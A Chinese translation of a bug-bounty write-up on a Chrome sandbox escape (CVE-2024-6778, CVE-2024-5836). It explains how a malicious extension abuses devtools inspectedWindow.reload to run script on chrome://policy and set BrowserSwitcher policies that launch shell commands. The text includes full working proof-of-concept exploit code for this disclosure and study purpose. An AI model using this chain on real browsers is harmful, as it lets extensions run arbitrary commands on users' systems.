白帽故事 · 2024年10月22日

【$20,000】通过 DevTools 实现 Chrome 浏览器沙箱逃逸

前言

本文将描述国外白帽小哥如何发现 CVE-2024-6778 和 CVE-2024-5836 漏洞,从而允许从浏览器扩展插件中逃逸沙箱(只需与用户稍作交互)。最终谷歌为白帽小哥发现的漏洞支付了 2 万美元的赏金奖励。

漏洞允许恶意 Chrome 浏览器扩展插件在电脑上运行任何 shell 命令,还可能被用来安装一些恶意软件。攻击者不仅会窃取你的密码和入侵你的浏览器,还可能控制你的整个操作系统。

WebUI 和 Chrome 浏览器沙箱

Chromium 运行的所有不受信任的代码都是沙箱代码,这意味着它在一个隔离的环境中运行,不会访问任何不该访问的内容。

实际上,这意味着在 Chrome 浏览器扩展插件中运行的 Javascript 代码只能与自身和它可以访问的 Javascript API 进行交互。

扩展插件可以访问哪些 API,取决于用户授予它的权限。

然而,利用这些权限却能窃取他人的登录信息和浏览器历史记录。

此外,Chromium 还使用一种名为 WebUI 的机制来显示其图形用户界面。

这些网页以 chrome:// URL 协议为前缀,诸如 chrome://settings 和 chrome://history 。

它们的目的是为 Chromium 的功能提供面向用户的用户界面,同时使用 HTML、CSS 和 Javascript 等网络技术编写。

由于它们需要显示和修改浏览器内部的特定信息,因此这会被视为具有特权,也就意味着它们可以访问其它地方无法使用的私有 API。

通过这些专用 API,WebUI 前端运行的 Javascript 代码可以与浏览器本身的本地 C++ 代码通信。

防止攻击者访问 WebUI 非常重要,因为在 WebUI 页面上运行的代码可以完全绕过 Chromium 沙箱。

例如,在 chrome://downloads 上,点击下载 .exe 文件将运行可执行文件,因此,如果该操作是通过恶意脚本执行的,那么该脚本就可以逃逸沙箱。

在 chrome:// 页面上运行不受信任的 Javascript 是一种常见的攻击媒介,因此这些私有 API 的接收端会执行一些验证,以确保它们不会执行用户通常无法执行的任何操作。

回到 chrome://downloads 示例,Chromium 通过要求从下载页面打开文件来防止这种情况的发生,触发该文件的操作必须来自实际的用户输入,而不仅仅是 Javascript。

当然,有时这些检查会出现 Chromium 开发人员没有考虑到的边缘场景。

关于企业策略

当研究 Chromium 的企业策略系统时,白帽小哥就开始了寻找漏洞的旅程。

Chromium 的企业策略系统旨在成为管理员强制将某些设置应用于公司或学校拥有的设备的一种方式。通常,策略与 Google 帐户绑定,并从 Google 自己的管理服务器下载。

file

企业策略还包括用户无法正常修改的内容,例如,可以使用策略执行的操作之一是禁用恐龙复活节彩蛋游戏:

file

此外,策略本身分为两类:用户策略和设备策略。

设备政策用于管理整个 Chrome 操作系统设备的设置,它们可以很简单,比如限制哪些账户可以登录或设置发布渠道。

其中一些甚至可以更改设备固件的行为(用于防止开发人员模式或降级操作系统)。

不过,由于本文中的漏洞与 Chrome 操作系统无关,因此目前可以忽略设备策略。

用户策略应用于特定用户或浏览器实例,与设备政策不同的是,这些政策可在所有平台上使用,并且可以在本地设置,而不依赖 Google 的服务器。

例如,在 Linux 上,将 JSON 文件放入/etc/opt/chrome/policies 将为设备上的所有 Google Chrome 实例设置用户策略。

使用此方法设置用户策略有些不方便,因为写入策略目录需要 root 权限。

但是,有没有一种方法可以在不创建文件的情况下修改这些策略呢?

策略 WebUI

值得注意的是,Chromium 有一个 WebUI,用于查看应用于当前设备的策略,位于chrome://policy 。

它显示了应用的策略列表、策略服务的日志以及将这些策略导出到 JSON 文件的能力。

file

这固然很好,但通常情况下,我们无法在此页面上编辑政策。当然,除非有一个未记录的功能可以做到这一点。

滥用策略测试页

白帽小哥在 Chrome v117 的Chrome Enterprise 发行说明中发现了以下条目:

Chrome 将引入 chrome://policy/test 页面
chrome://policy/test 将允许客户在 Beta、Dev、Canary 渠道上测试策略。如果有足够的客户需求,我们会考虑将此功能引入稳定渠道。

事实证明,这是 Chromium 文档中唯一提到此功能的地方,因此需要检查 Chromium 的源代码来弄清楚它是如何工作的。

使用Chromium Code Search ,搜索 chrome://policy/test ,从而找到策略测试页面WebUI 代码的 JS 部分。然后注意到它用于设置测试策略的私有 API 调用:

export class PolicyTestBrowserProxy {
  applyTestPolicies(policies: string, profileSeparationResponse: string) {
    return sendWithPromise('setLocalTestPolicies', policies, profileSeparationResponse);
  }
  ...
}

还记得上面说过这些 WebUI 页面可以访问私有 API 吗? sendWithPromise()就是其中之一。

sendWithPromise()实际上只是chrome.send()的包装器,它将请求发送到用 C++ 编写的处理函数,然后,处理函数可以在浏览器内部执行所需的任何操作,然后它可能会返回一个值,该值通过sendWithPromise()传回 JS 端。

来看看在 JS 控制台中调用它会做什么。

//import cr.js since we need sendWithPromise
let cr = await import('chrome://resources/js/cr.js');
await cr.sendWithPromise("setLocalTestPolicies", "", "");

不幸的是,运行它只会使浏览器崩溃,有趣的是,崩溃日志中出现了以下内容:

[17282:17282:1016/022258.064657:FATAL:local_test_policy_loader.cc(68)] Check failed: policies.has_value() && policies->is_list(). List of policies expected

看起来它需要一个带有策略数组的 JSON 字符串作为第一个参数,那就想办法提供一个吧。

幸运的是, policy_test_browser_proxy.ts 中告知了它期望的格式,因此我们不必做太多的猜测。

let cr = await import('chrome://resources/js/cr.js');
let policy = JSON.stringify([
  { 
    name: "AllowDinosaurEasterEgg",
    value: false,
    level: 1,
    source: 1,
    scope: 1
  }
]);
await cr.sendWithPromise("setLocalTestPolicies", policy, "");

那么运行后…它就可以工作了吗?白帽小哥只是在 chrome://policy 上运行了一些 Javascript,就设置了一个任意的用户策略。但是白帽小哥从未明确启用过这项功能,显然这里出了问题!

损坏的 WebUI 验证

为了便于理解,下面是策略测试页面在正确启用后的样子:

file

要正确启用此页面,你必须设置PolicyTestPageEnabled策略(同样没有在任何地方记录),如果该策略未设置为开始,则chrome://policy/test 只是重定向回 chrome://policy 。

file

那么,为什么能够设置测试策略,而不管是否禁用了PolicyTestPageEnabled策略呢?

为了调查这个问题,白帽小哥再次查看了 Chromium 代码搜索,并在 C++ 端找到了setLocalTestPolicies函数的WebUI 处理程序。

void PolicyUIHandler::HandleSetLocalTestPolicies(
const base::Value::List& args) {
std::string policies = args[1].GetString();

policy::LocalTestPolicyProvider local_test_provider =
static_cast<policy::LocalTestPolicyProvider
>(
g_browser_process->browser_policy_connector()
->local_test_policy_provider());

CHECK(local_test_provider);

Profile::FromWebUI(web_ui())
->GetProfilePolicyConnector()
->UseLocalTestPolicyProvider();

local_test_provider->LoadJsonPolicies(policies);
AllowJavascript();
ResolveJavascriptCallback(args[0], true);
}

该函数执行的唯一验证是检查local_test_provider是否存在,否则会导致整个浏览器崩溃。那么local_test_provider在什么条件下会存在呢?

为了回答这个问题,白帽小哥找到了实际创建本地测试策略提供程序的代码。

std::unique_ptr<LocalTestPolicyProvider>
LocalTestPolicyProvider::CreateIfAllowed(version_info::Channel channel) {
  if (utils::IsPolicyTestingEnabled(/*pref_service=*/nullptr, channel)) {
    return base::WrapUnique(new LocalTestPolicyProvider());
  }

  return nullptr;
}

这个函数实际上会执行检查以查看测试策略是否被允许,如果不允许它们,那么将返回 null,并且尝试像之前展示的那样设置测试策略将导致崩溃。

难道是IsPolicyTestingEnabled()行为不当?该函数如下所示:

bool IsPolicyTestingEnabled(PrefService* pref_service,
                            version_info::Channel channel) {
  if (pref_service &&
      !pref_service->GetBoolean(policy_prefs::kPolicyTestPageEnabled)) {
    return false;
  }

  if (channel == version_info::Channel::CANARY ||
      channel == version_info::Channel::DEFAULT) {
    return true;
  }

  return false;
}

该函数首先检查kPolicyTestPageEnabled是否为 true,这是正常情况下应该启用策略测试页面的策略。

但是,你可能会注意到,当调用IsPolicyTestingEnabled()时,第一个参数pref_service被设置为 null。这会导致检查被完全忽略。

现在,唯一剩下的检查就是channel 。在这种情况下,“通道”指的是浏览器的发布通道,类似于 stable、beta、dev 或 canary。

所以在这种情况下,只允许Channel::CANARY和Channel::DEFAULT 。这必定意味着浏览器设置为Channel::CANARY或Channel::DEFAULT 。

那么浏览器知道它在哪个Channel吗?以下是用于确定的函数:

// Returns the channel state for the browser based on branding and the
// CHROME_VERSION_EXTRA environment variable. In unbranded (Chromium) builds,
// this function unconditionally returns `channel` = UNKNOWN and
// `is_extended_stable` = false. In branded (Google Chrome) builds, this
// function returns `channel` = UNKNOWN and `is_extended_stable` = false for any
// unexpected $CHROME_VERSION_EXTRA value.
ChannelState GetChannelImpl() {
#if BUILDFLAG(GOOGLE_CHROME_BRANDING)
  const char* const env = getenv("CHROME_VERSION_EXTRA");
  const std::string_view env_str =
      env ? std::string_view(env) : std::string_view();

  // Ordered by decreasing expected population size.
  if (env_str == "stable")
    return {version_info::Channel::STABLE, /*is_extended_stable=*/false};
  if (env_str == "extended")
    return {version_info::Channel::STABLE, /*is_extended_stable=*/true};
  if (env_str == "beta")
    return {version_info::Channel::BETA, /*is_extended_stable=*/false};
  if (env_str == "unstable")  // linux version of "dev"
    return {version_info::Channel::DEV, /*is_extended_stable=*/false};
  if (env_str == "canary") {
    return {version_info::Channel::CANARY, /*is_extended_stable=*/false};
  }
#endif  // BUILDFLAG(GOOGLE_CHROME_BRANDING)

  return {version_info::Channel::UNKNOWN, /*is_extended_stable=*/false};
}

如果您不知道 C 预处理器如何工作,#if BUILDFLAG(GOOGLE_CHROME_BRANDING) 部分意味着仅当 BUILDFLAG(GOOGLE_CHROME_BRANDING) 为 true 时才会编译所包含的代码,否则该部分代码不存在。

考虑到使用的是普通 Chromium 而不是品牌 Google Chrome,该频道将始终为 Channel::UNKNOWN,不幸的是,这也意味着该错误将无法在 Google Chrome 的稳定版本上运行,因为发布通道已设置为正确的值。

enum class Channel {
  UNKNOWN = 0,
  DEFAULT = UNKNOWN,
  CANARY = 1,
  DEV = 2,
  BETA = 3,
  STABLE = 4,
};

查看通道的枚举定义,我们可以看到Channel::UNKNOWN实际上与Channel::DEFAULT相同。

因此,在 Chromium 及其衍生产品上, IsPolicyTestingEnabled()中的释放通道检查始终通过,并且该函数将始终返回 true。

通过浏览器切换器逃逸沙箱

那么,可以利用设置任意用户策略的能力来做什么呢?为了回答这个问题,白帽小哥查看了Chrome 企业策略列表。

企业策略中存在的功能之一是旧版浏览器支持模块,也称为浏览器切换器。

它旨在通过当用户访问 Chromium 中的某些 URL 时启动替代浏览器来适应 Internet Explorer 用户。该功能的行为都是可以通过策略控制的。

AlternativeBrowserPath政策尤其引人注目,与AlternativeBrowserParameters相结合,Chromium 可以将任何 shell 命令作为“备用浏览器”启动。

但是,请记住,这仅适用于 Linux、MacOS 和 Windows,否则浏览器切换器策略不存在。

我们可以设置以下策略来让 Chromium 启动计算器,例如:

name: "BrowserSwitcherEnabled"
value: true

name: "BrowserSwitcherUrlList"
value: ["example.com"]

name: "AlternativeBrowserPath"
value: "/bin/bash"

name: "AlternativeBrowserParameters"
value: ["-c", "xcalc # ${url}"]

每当浏览器尝试导航到example.com时,浏览器切换器就会启动并启动/bin/bash 。

["-c", "xcalc # https://example.com"] 作为参数被传入。 -c告诉 bash 运行下一个参数中指定的命令。

你可能已经注意到,页面 URL 被替换为${url} ,因此为了防止这弄乱命令,我们可以简单地将其放在#后面,使其成为注释。

从而能够完美欺骗 Chromium 运行 /bin/bash -c 'xcalc # https://example.com'

从 chrome://policy 页面使用它也相当简单,可以使用上述方法设置这些策略,然后调用 window.open("https://example.com") 来触发浏览器切换器。

let cr = await import('chrome://resources/js/cr.js');
let policy = JSON.stringify([
  { //enable the browser switcher feature
    name: "BrowserSwitcherEnabled",
    value: true,
    level: 1,
    source: 1,
    scope: 1
  }, 
  { //set the browser switcher to trigger on example.com
    name: "BrowserSwitcherUrlList",
    value: ["example.com"],
    level: 1,
    source: 1,
    scope: 1
  }, 
  { //set the executable path to launch
    name: "AlternativeBrowserPath",
    value: "/bin/bash",
    level: 1,
    source: 1,
    scope: 1
  }, 
  { //set the arguments for the executable
    name: "AlternativeBrowserParameters",
    value: ["-c", "xcalc # https://example.com"],
    level: 1,
    source: 1,
    scope: 1
  }
]);

//set the policies listed above
await cr.sendWithPromise("setLocalTestPolicies", policy, "");
//navigate to example.com, which will trigger the browser switcher
window.open("https://example.com")

这就是沙箱逃逸,我们成功通过在 chrome://policy 上运行的 Javascript 运行任意 shell 命令。

破坏 Devtools API

你可能已经注意到,到目前为止,此攻击要求受害者在使用chrome://policy 时将恶意代码粘贴到浏览器控制台中。

实际上说服某人这样做是相当困难的,而且这个 bug 几乎毫无用处。所以我们的新目标是以某种方式自动在 chrome://policy 中运行这个 JS。

最可能的方法是创建恶意 Chrome 扩展插件程序, Chrome 扩展插件 API 具有相当大的攻击面,并且扩展插件本质上具有将 JS 注入到页面的能力。

然而,扩展插件程序并不允许在特权 WebUI 页面上运行 JS,因此我们需要找到一种解决方法。

扩展插件在页面上执行 JS 有 4 种主要方式:

  • chrome.scripting ,直接在特定选项卡中执行 JS。
  • Manifest v2 中的chrome.tabs ,其工作方式与chrome.scripting类似。
  • chrome.debugger使用远程调试协议。
  • chrome.devtools.inspectedWindow ,当 devtools 打开时,它与检查的页面进行交互。

白帽小哥决定研究 chrome.devtools.inspectedWindow ,因为他觉得它是最晦涩难懂的,因此也可能是最不稳定的。事实证明这个假设是正确的。

chrome.devtools API 的工作方式是,所有使用 API 的扩展插件都必须在其清单中包含devtools_page字段。例如:

{
  "name": "example extension",
  "version": "1.0",
  "devtools_page": "devtools.html",
  ...
}

本质上,它的作用是指定每当用户打开 devtools 时,devtools 页面都会将devtools.html作为 iframe 加载。

在该 iframe 中,扩展程序可以使用所有chrome.devtools API,具体可以参考API文档。

在研究 chrome.devtools.inspectedWindow API 的同时,白帽小哥注意到David Erceg 之前的漏洞报告,其中涉及一个 chrome.devtools.inspectedWindow.eval() 漏洞。

通过在在普通页面上打开 devtools,然后使用导致页面崩溃的脚本运行 chrome.devtools.inspectedWindow.eval(),设法在 WebUI 上执行代码。

然后,这个崩溃的选项卡可以导航到 WebUI 页面,其中 eval 请求将重新运行,从而在那里获得代码执行。

值得注意的是, chrome.devtools API 应该通过在检查的页面导航到 WebUI 后禁用它们的使用来防止此类特权执行。

正如 David Erceg 在其漏洞报告中所演示的那样,绕过此问题的关键是在 Chrome 决定禁用 devtools API 之前发送 eval 请求,并确保请求到达 WebUI 页面。

读完该报告后,白帽小哥想知道chrome.devtools.inspectedWindow.reload() 是否可以做类似的事情 。这个函数还可以在被检查的页面上运行JS,只要将injectedScript传入其中即可。

当白帽小哥在检查的页面是属于 WebUI 的 about:blank 页面时尝试调用spectedWindow.reload() 时,出现了它可被利用的第一个迹象。

about:blank 页面在这方面是独一无二的,因为即使 URL 并不特殊,它们也会继承打开它们的页面的权限和来源。

因为从 WebUI 打开的about:blank 页面是有特权的,所以你可能会认为尝试评估该页面上的 JS 会被阻止。

file

令人惊讶的是,确实有效了。请注意,弹窗的标题包含页面的来源,即 chrome://settings ,因此该页面实际上具有特权。

但是等一下,难道 devtools API 不是应该通过完全禁用 API 来防止这种情况发生吗?嗯,它没有考虑 about:blank 页的边缘场景,以下是处理禁用 API 的代码:

private inspectedURLChanged(event: Common.EventTarget.EventTargetEvent<SDK.Target.Target>): void {
  if (!ExtensionServer.canInspectURL(event.data.inspectedURL())) {
    this.disableExtensions();
    return;
  }
  ...
}

这里只考虑 URL,而不考虑页面的来源,正如之前所演示的,这可能是两个不同的事情。即使 URL 是良性的,来源也可能不是良性的。

滥用about:blank 固然很好,但在创建漏洞利用链的情况下它并不是很有用。

白帽小哥想要执行代码的页面 chrome://policy 永远不会打开任何about:blank 弹出窗口,因此这成了一个死胡同。

然而,白帽小哥注意到即使inspectedWindow.eval()失败, inspectedWindow.reload()仍然成功运行并在 chrome://settings 上执行JS。

这表明inspectedWindow.eval()有自己的检查来查看是否允许检查页面的来源,而inspectedWindow.reload()却没有自己的检查。

白帽小哥想知道是否可以直接发送inspectedWindow.reload()调用,这样的话,如果这些请求中至少有一个到达WebUI 页面,那么就可以执行代码。

function inject_script() {
  chrome.devtools.inspectedWindow.reload({"injectedScript": `
    //check the origin, this script won't do anything on a non chrome page
    if (!origin.startsWith("chrome://")) return;
    alert("hello from chrome.devtools.inspectedWindow.reload");
    `
  });
}

setInterval(() => {
  for (let i=0; i<5; i++) {
    inject_script(); 
  }
}, 0);  

chrome.tabs.update(chrome.devtools.inspectedWindow.tabId, {url: "chrome://policy"});

file

这就是漏洞利用链的最后一部分,这种竞争条件依赖于这样一个事实:被检查的页面和 devtools 页面是不同的进程。

当在检查的页面中导航到 WebUI 时,在 devtools 页面实现并禁用 API 之前有一小段的时间窗口。

如果在此时间间隔内调用inspectedWindow.reload() ,则重新加载请求将最终出现在WebUI页面上。

组合利用链

POC 必须执行以下操作:

  1. 使用竞争条件 chrome.devtools.inspectedWindow.reload() 在chrome://policy 上执行 JS Payloads
  2. payloads 调用 sendWithPromise("setLocalTestPolicies", policy) 并设置自定义用户策略。
  3. 设置 BrowserSwitcherEnabled 、 BrowserSwitcherUrlList 、 AlternativeBrowserPath和AlternativeBrowserParameters ,然后将/bin/bash指定为“备用浏览器”。
  4. 浏览器切换器由简单的window.open()调用触发,该调用会执行 shell 命令。

最终的PoC代码如下:

let executable, flags;
if (navigator.userAgent.includes("Windows NT")) {
  executable = "C:\\Windows\\System32\\cmd.exe";
  flags = ["/C", "calc.exe & rem ${url}"];
}
else if (navigator.userAgent.includes("Linux")) {
  executable = "/bin/bash";
  flags = ["-c", "xcalc # ${url}"];
}
else if (navigator.userAgent.includes("Mac OS")) {
  executable = "/bin/bash";
  flags = ["-c", "open -na Calculator # ${url}"];
}

//function which injects the content script into the inspected page
function inject_script() {
  chrome.devtools.inspectedWindow.reload({"injectedScript": `
    (async () => {
      //check the origin, this script won't do anything on a non chrome page
      console.log(origin);
      if (!origin.startsWith("chrome://")) return;

      //import cr.js since we need sendWithPromise
      let cr = await import('chrome://resources/js/cr.js');

      //here are the policies we are going to set
      let policy = JSON.stringify([
        { //enable the browser switcher feature
          name: "BrowserSwitcherEnabled",
          value: true,
          level: 1,
          source: 1,
          scope: 1
        }, 
        { //set the browser switcher to trigger on example.com
          name: "BrowserSwitcherUrlList",
          value: ["example.com"],
          level: 1,
          source: 1,
          scope: 1
        }, 
        { //set the executable path to launch
          name: "AlternativeBrowserPath",
          value: ${JSON.stringify(executable)},
          level: 1,
          source: 1,
          scope: 1
        }, 
        { //set the arguments for the executable
          name: "AlternativeBrowserParameters",
          value: ${JSON.stringify(flags)},
          level: 1,
          source: 1,
          scope: 1
        }
      ]);

      //set the policies listed above
      await cr.sendWithPromise("setLocalTestPolicies", policy, "");

      setTimeout(() => {
        //navigate to example.com, which will trigger the browser switcher
        location.href = "https://example.com";

        //open a new page so that there is still a tab remaining after this
        open("about:blank");  
      }, 100);
    })()`
  });
}

//interval to keep trying to inject the content script
//there's a tiny window of time in which the content script will be
//injected into a protected page, so this needs to run frequently
function start_interval() {
  setInterval(() => {
    //loop to increase our odds
    for (let i=0; i<3; i++) {
      inject_script(); 
    }
  }, 0);  
}

async function main() {
  //start the interval to inject the content script
  start_interval();

  //navigate the inspected page to chrome://policy
  let tab = await chrome.tabs.get(chrome.devtools.inspectedWindow.tabId);
  await chrome.tabs.update(tab.id, {url: "chrome://policy"});

  //if this times out we need to retry or abort
  await new Promise((resolve) => {setTimeout(resolve, 1000)});
  let new_tab = await chrome.tabs.get(tab.id);

  //if we're on the policy page, the content script didn't get injected
  if (new_tab.url.startsWith("chrome://policy")) {
    //navigate back to the original page
    await chrome.tabs.update(tab.id, {url: tab.url});

    //discarding and reloading the tab will close devtools
    setTimeout(() => {
      chrome.tabs.discard(tab.id);
    }, 100)
  }

  //we're still on the original page, so reload the extension frame to retry
  else {
    location.reload();
  }
}

main();

然而,此时仍然存在一个明显的问题: .inspectedWindow.reload()的竞争条件不是很可靠。

白帽小哥设法对其进行调整,使其在大约 70% 的时间内都能正常工作,但这仍然不够。尽管它确实有效,但无论如何它确实是一个严重的漏洞,但不可靠性会大大降低其严重性。

于是白帽小哥努力寻找更好的方法。

熟悉的‘配方’

还记得 David Erceg 的漏洞报告中提到过,他利用了选项卡崩溃后调试器请求仍然存在的事实吗?

白帽小哥想知道这个确切的方法是否也适用于inspectedWindow.reload() ,为了测试了它,白帽小哥还弄乱了debugger语句,甚至连续两次触发调试器导致了选项卡崩溃。

编写新的PoC代码:

let tab_id = chrome.devtools.inspectedWindow.tabId;

//function which injects the content script into the inspected page
function inject_script() {
  chrome.devtools.inspectedWindow.reload({"injectedScript": `
    //check the origin, so that the debugger is triggered instead if we are not on a chrome page
    if (!origin.startsWith("chrome://")) {
      debugger;
      return;
    }

    alert("hello from chrome.devtools.inspectedWindow.reload");`
  });
}

function sleep(ms) {
  return new Promise((resolve) => {setTimeout(resolve, ms)})
}

async function main() {
  //we have to reset the tab's origin here so that we don't crash our own extension process
  //this navigates to example.org which changes the tab's origin
  await chrome.tabs.update(tab_id, {url: "https://example.org/"});
  await sleep(500);
  //navigate to about:blank from within the example.org page which keeps the same origin
  chrome.devtools.inspectedWindow.reload({"injectedScript": `
      location.href = "about:blank";
    ` 
  })
  await sleep(500);

  inject_script(); //pause the current tab
  inject_script(); //calling this again crashes the tab and queues up our javascript
  await sleep(500);
  chrome.tabs.update(tab_id, {url: "chrome://settings"});
}

main();

有效!这种方法的一个优点是它消除了竞争条件的所需条件,并使漏洞可以 100% 利用。

但是,为什么本应在 4 年前就得到修补的漏洞却依然存在呢?我们可以通过查看之前的漏洞是如何修补的来找出原因。

谷歌的修复方法是在标签页崩溃后清除所有待处理的调试器请求,这似乎是一种明智的做法。

void DevToolsSession::ClearPendingMessages(bool did_crash) {
  for (auto it = pending_messages_.begin(); it != pending_messages_.end();) {
    const PendingMessage& message = *it;
    if (SpanEquals(crdtp::SpanFrom("Page.reload"),
                   crdtp::SpanFrom(message.method))) {
      ++it;
      continue;
    }
    // Send error to the client and remove the message from pending.
    std::string error_message =
        did_crash ? kTargetCrashedMessage : kTargetClosedMessage;
    SendProtocolResponse(
        message.call_id,
        crdtp::CreateErrorResponse(
            message.call_id,
            crdtp::DispatchResponse::ServerError(error_message)));
    waiting_for_response_.erase(message.call_id);
    it = pending_messages_.erase(it);
  }
}

它似乎包含Page.reload请求的异常,因此它们不会被清除,在内部, inspectedWindow.reload() API 发送Page.reload请求,因此, inspectedWindow.reload() API 调用不受此补丁的影响。

谷歌确实修复了这个漏洞,然后添加了一个例外,使该漏洞再次成为可能,白帽小哥猜测谷歌的工程师们并没有意识到Page.reload也可以运行脚本。

另一个谜团是为什么当debugger语句运行两次时页面会崩溃。白帽小哥仍然不完全确定这个问题,但他认为可以将范围缩小到 Chromium 渲染器代码中的一个函数。

这种情况特别发生在 Chromium检查导航状态时,当它遇到意外状态时,就会崩溃。

当调用RenderFrameImpl::SynchronouslyCommitAboutBlankForBug778318时,此状态会变得混乱(这是专门处理 about:blank 的另一个副作用)。

当然,任何类型的崩溃都会发生,例如[...new Array(2**31)] ,这会导致选项卡内存不足。然而, debugger崩溃的触发速度要快得多,所以这就是最终 POC 中使用的。

不管怎样,下面是该漏洞利用的实际情况:

file

PS:你可能已经注意到“扩展安装错误”的提示,这只是为了诱骗用户打开开发工具,从而触发沙箱逃逸的利用链。

结尾

最终,涉及竞争条件的漏洞被分配为CVE-2024-5836 ,CVSS 严重性评分为 8.8(高)。该漏洞涉及导致被检查页面崩溃的漏洞被指定为CVE-2024-6778 ,严重程度评分也同样为 8.8(高)。

白帽小哥也顺利收获谷歌为其发放的2万美元的奖励。

file

原始漏洞报告:crbug.com/338248595

PoC也被白帽小哥放在了GitHub:https://github.com/ading2210/CVE-2024-6778-POC

以上内容由骨哥翻译并整理。

原文:https://ading.dev/blog/posts/chrome_sandbox_escape.html